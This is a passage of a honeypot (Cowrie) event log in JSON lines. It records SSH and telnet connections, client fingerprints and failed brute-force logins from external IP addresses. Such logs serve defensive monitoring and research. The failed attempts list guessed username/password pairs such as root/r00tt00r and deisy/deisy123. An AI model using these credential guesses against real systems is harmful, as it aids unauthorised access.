,"aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:31.409479Z","src_ip":"124.156.196.131","session":"bd4dbf0efe0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wade","password":"wade","message":"login attempt [wade/wade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:32.394029Z","src_ip":"124.156.196.131","session":"bd4dbf0efe0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:33.633912Z","src_ip":"124.156.196.131","session":"bd4dbf0efe0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":38375,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa45b58fb47","protocol":"ssh","message":"New connection: 213.209.159.56:38375 (159.203.135.109:22) [session: 1aa45b58fb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:42.415750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:42.420285Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:42.502073Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy","message":"login attempt [deisy/deisy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:42.903143Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy1","message":"login attempt [deisy/deisy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:43.988394Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy123","message":"login attempt [deisy/deisy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:45.072895Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy1234","message":"login attempt [deisy/deisy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:46.158440Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy12345","message":"login attempt [deisy/deisy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:47.242967Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50632,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8e3a2db4e10","protocol":"ssh","message":"New connection: 194.113.233.25:50632 (10.17.0.5:22) [session: b8e3a2db4e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:48.033104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:48.204952Z","src_ip":"194.113.233.25","session":"b8e3a2db4e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:48.207854Z","src_ip":"194.113.233.25","session":"b8e3a2db4e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:48.327210Z","src_ip":"213.209.159.56","session":"1aa45b58fb47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44332211","message":"login attempt [root/44332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:48.901436Z","src_ip":"194.113.233.25","session":"b8e3a2db4e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:49.996947Z","src_ip":"194.113.233.25","session":"b8e3a2db4e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":58046,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1382f30d0a8","protocol":"ssh","message":"New connection: 147.45.197.250:58046 (159.203.135.109:22) [session: f1382f30d0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:57.288615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:57.296494Z","src_ip":"147.45.197.250","session":"f1382f30d0a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:57.389798Z","src_ip":"147.45.197.250","session":"f1382f30d0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:57.676048Z","src_ip":"147.45.197.250","session":"f1382f30d0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:58.773597Z","src_ip":"147.45.197.250","session":"f1382f30d0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.21050906181335,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:07.090551Z","src_ip":"152.42.224.71","session":"d986c98c197c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":60994,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3f73f9ebc8","protocol":"ssh","message":"New connection: 43.163.95.54:60994 (159.203.135.109:22) [session: 4b3f73f9ebc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:19.519118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:19.524553Z","src_ip":"43.163.95.54","session":"4b3f73f9ebc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.159.240.82","src_port":47594,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1835622bd25","protocol":"telnet","message":"New connection: 105.159.240.82:47594 (159.203.135.109:23) [session: a1835622bd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:19.584352Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:19.770185Z","src_ip":"43.163.95.54","session":"4b3f73f9ebc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123!","message":"login attempt [ftpuser/ftpuser123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:20.784378Z","src_ip":"43.163.95.54","session":"4b3f73f9ebc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:22.052776Z","src_ip":"43.163.95.54","session":"4b3f73f9ebc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.296533346176147,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:33.880794Z","src_ip":"105.159.240.82","session":"a1835622bd25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":52516,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a1025d7a796","protocol":"ssh","message":"New connection: 124.156.196.131:52516 (159.203.135.109:22) [session: 7a1025d7a796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:48.464901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:48.468788Z","src_ip":"124.156.196.131","session":"7a1025d7a796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:48.699108Z","src_ip":"124.156.196.131","session":"7a1025d7a796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:49.654257Z","src_ip":"124.156.196.131","session":"7a1025d7a796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:33:50.888824Z","src_ip":"124.156.196.131","session":"7a1025d7a796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":48916,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2ea4a8fb47d","protocol":"ssh","message":"New connection: 176.65.148.108:48916 (10.17.0.5:22) [session: d2ea4a8fb47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:04.541412Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:04.625708Z","src_ip":"176.65.148.108","session":"d2ea4a8fb47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":48926,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7860894b66d","protocol":"ssh","message":"New connection: 176.65.148.108:48926 (10.17.0.5:22) [session: f7860894b66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:04.704585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:04.713398Z","src_ip":"176.65.148.108","session":"f7860894b66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:04.795647Z","src_ip":"176.65.148.108","session":"f7860894b66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"904abc","password":"904abc","message":"login attempt [904abc/904abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:05.043325Z","src_ip":"176.65.148.108","session":"f7860894b66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:06.128719Z","src_ip":"176.65.148.108","session":"f7860894b66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":45542,"dst_ip":"159.203.135.109","dst_port":22,"session":"008d5423d7aa","protocol":"ssh","message":"New connection: 43.163.95.54:45542 (159.203.135.109:22) [session: 008d5423d7aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:32.834357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:32.839259Z","src_ip":"43.163.95.54","session":"008d5423d7aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:33.084894Z","src_ip":"43.163.95.54","session":"008d5423d7aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tt00r","message":"login attempt [root/r00tt00r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:34.100750Z","src_ip":"43.163.95.54","session":"008d5423d7aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:35.348853Z","src_ip":"43.163.95.54","session":"008d5423d7aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":40328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bcecb48682c","protocol":"ssh","message":"New connection: 103.183.114.55:40328 (159.203.135.109:22) [session: 4bcecb48682c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:42.617579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:42.627284Z","src_ip":"103.183.114.55","session":"4bcecb48682c","protocol":"ssh"}
